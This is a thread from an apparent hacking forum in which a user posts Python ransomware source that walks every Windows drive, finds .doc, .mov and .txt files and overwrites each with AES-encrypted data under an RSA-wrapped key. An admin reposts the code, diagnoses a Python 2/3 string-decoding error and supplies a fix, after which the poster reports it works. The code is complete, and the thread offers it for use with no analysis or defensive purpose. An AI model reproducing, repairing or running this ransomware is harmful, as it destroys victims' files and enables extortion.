Become King Of Hell

Python/Perl/Bash Unable to run ransomware code

Joined
Jun 2, 2022
Messages
41
Location
Marvel Cinimatic UniVerse
Hellcoins
♆611
Code:
# -*- coding: utf-8 -*-
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES, PKCS1_OAEP
import os

disks = []
tmp = []
added = []
appdata = os.environ['appdata']
appdata += r'\\'

def GetDisk():
    for x in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X']:
        try:
            path = x + ":\\"
            os.chdir(path)
            retval = os.getcwd()
            disks.append(retval)
        except WindowsError:
            continue



def GetDirectory(path):
    for rootdir, dirs, files in os.walk(path):
            for file in files:
                if((file.decode('cp1251').split('.')[-1]) in ['doc','mov','txt']):
                    sek = os.path.join(rootdir, file)
                    tmp.append(sek)

def GenRSA():
    code = 'loli'
    key = RSA.generate(2048)

    encrypted_key = key.exportKey(
        passphrase=code,
        pkcs=8,
        protection="scryptAndAES128-CBC"
    )

    with open(appdata + 'prk.bin', 'wb') as f:
        f.write(encrypted_key)

    with open(appdata + 'pbk.pem', 'wb') as f:
        f.write(key.publickey().exportKey())

def Crypt(filename):
    handle = open(filename,'rb')
    data = handle.read()
    handle.close()
    data = bytes(data)
    with open(filename, 'wb') as out_file:
        recipient_key = RSA.import_key(
            open(appdata + 'pbk.pem').read()
        )
        session_key = get_random_bytes(16)
        cipher_rsa = PKCS1_OAEP.new(recipient_key)
        out_file.write(cipher_rsa.encrypt(session_key))
        cipher_aes = AES.new(session_key, AES.MODE_EAX)
        ciphertext, tag = cipher_aes.encrypt_and_digest(data)
        out_file.write(cipher_aes.nonce)
        out_file.write(tag)
        out_file.write(ciphertext)

GenRSA()
GetDisk()

for d in disks:
    GetDirectory(d)

for filename in tmp:
    try:
        Crypt(filename)
        added.append(filename)
    except IOError:
        continue

handle = open(appdata + 'cripted.lock','w')
for j in added:
    handle.write(j)
    handle.write('\n')
handle.close()
print 'done'
When I run the code, I get this output.
1.png
 

K4NITEL

Satan
Staff member
Admin
Joined
Jun 18, 2022
Messages
37
Location
Heart@CyberGod-[~]
Hellcoins
♆405
Code:
# -*- coding: utf-8 -*-
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES, PKCS1_OAEP
import os

disks = []
tmp = []
added = []
appdata = os.environ['appdata']
appdata += r'\\'

def GetDisk():
    for x in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X']:
        try:
            path = x + ":\\"
            os.chdir(path)
            retval = os.getcwd()
            disks.append(retval)
        except WindowsError:
            continue



def GetDirectory(path):
    for rootdir, dirs, files in os.walk(path):
            for file in files:
                if((file.decode('cp1251').split('.')[-1]) in ['doc','mov','txt']):
                    sek = os.path.join(rootdir, file)
                    tmp.append(sek)

def GenRSA():
    code = 'loli'
    key = RSA.generate(2048)

    encrypted_key = key.exportKey(
        passphrase=code,
        pkcs=8,
        protection="scryptAndAES128-CBC"
    )

    with open(appdata + 'prk.bin', 'wb') as f:
        f.write(encrypted_key)

    with open(appdata + 'pbk.pem', 'wb') as f:
        f.write(key.publickey().exportKey())

def Crypt(filename):
    handle = open(filename,'rb')
    data = handle.read()
    handle.close()
    data = bytes(data)
    with open(filename, 'wb') as out_file:
        recipient_key = RSA.import_key(
            open(appdata + 'pbk.pem').read()
        )
        session_key = get_random_bytes(16)
        cipher_rsa = PKCS1_OAEP.new(recipient_key)
        out_file.write(cipher_rsa.encrypt(session_key))
        cipher_aes = AES.new(session_key, AES.MODE_EAX)
        ciphertext, tag = cipher_aes.encrypt_and_digest(data)
        out_file.write(cipher_aes.nonce)
        out_file.write(tag)
        out_file.write(ciphertext)

GenRSA()
GetDisk()

for d in disks:
    GetDirectory(d)

for filename in tmp:
    try:
        Crypt(filename)
        added.append(filename)
    except IOError:
        continue

handle = open(appdata + 'cripted.lock','w')
for j in added:
    handle.write(j)
    handle.write('\n')
handle.close()
print 'done'
When I run the code, I get this output.
1.png
It works for me. Are you running it from Python 2 at all?
str is missing decode in python 3
By the way, you just neighed, but you could have written off how you can collect such an enumeration shorter.
Code:
for i in range(65, 90):
    print(chr(i))

#Или

import string
for i in string.ascii_uppercase:
    print(i)
Correct the GetDirectory function as follows
Code:
def GetDirectory(path):
    for rootdir, dirs, files in os.walk(path):
        for file in files:
            if((file.split('.')[-1]) in ['doc','mov','txt']):
                sek = os.path.join(rootdir, file)
                tmp.append(sek)
Or on the 2nd python try
 
Joined
Jun 2, 2022
Messages
41
Location
Marvel Cinimatic UniVerse
Hellcoins
♆611
It works for me. Are you running it from Python 2 at all?
str is missing decode in python 3
By the way, you just neighed, but you could have written off how you can collect such an enumeration shorter.
Code:
for i in range(65, 90):
    print(chr(i))

#Или

import string
for i in string.ascii_uppercase:
    print(i)
Correct the GetDirectory function as follows
Code:
def GetDirectory(path):
    for rootdir, dirs, files in os.walk(path):
        for file in files:
            if((file.split('.')[-1]) in ['doc','mov','txt']):
                sek = os.path.join(rootdir, file)
                tmp.append(sek)
Or on the 2nd python try
Thanks Cutie its works for me
 
Top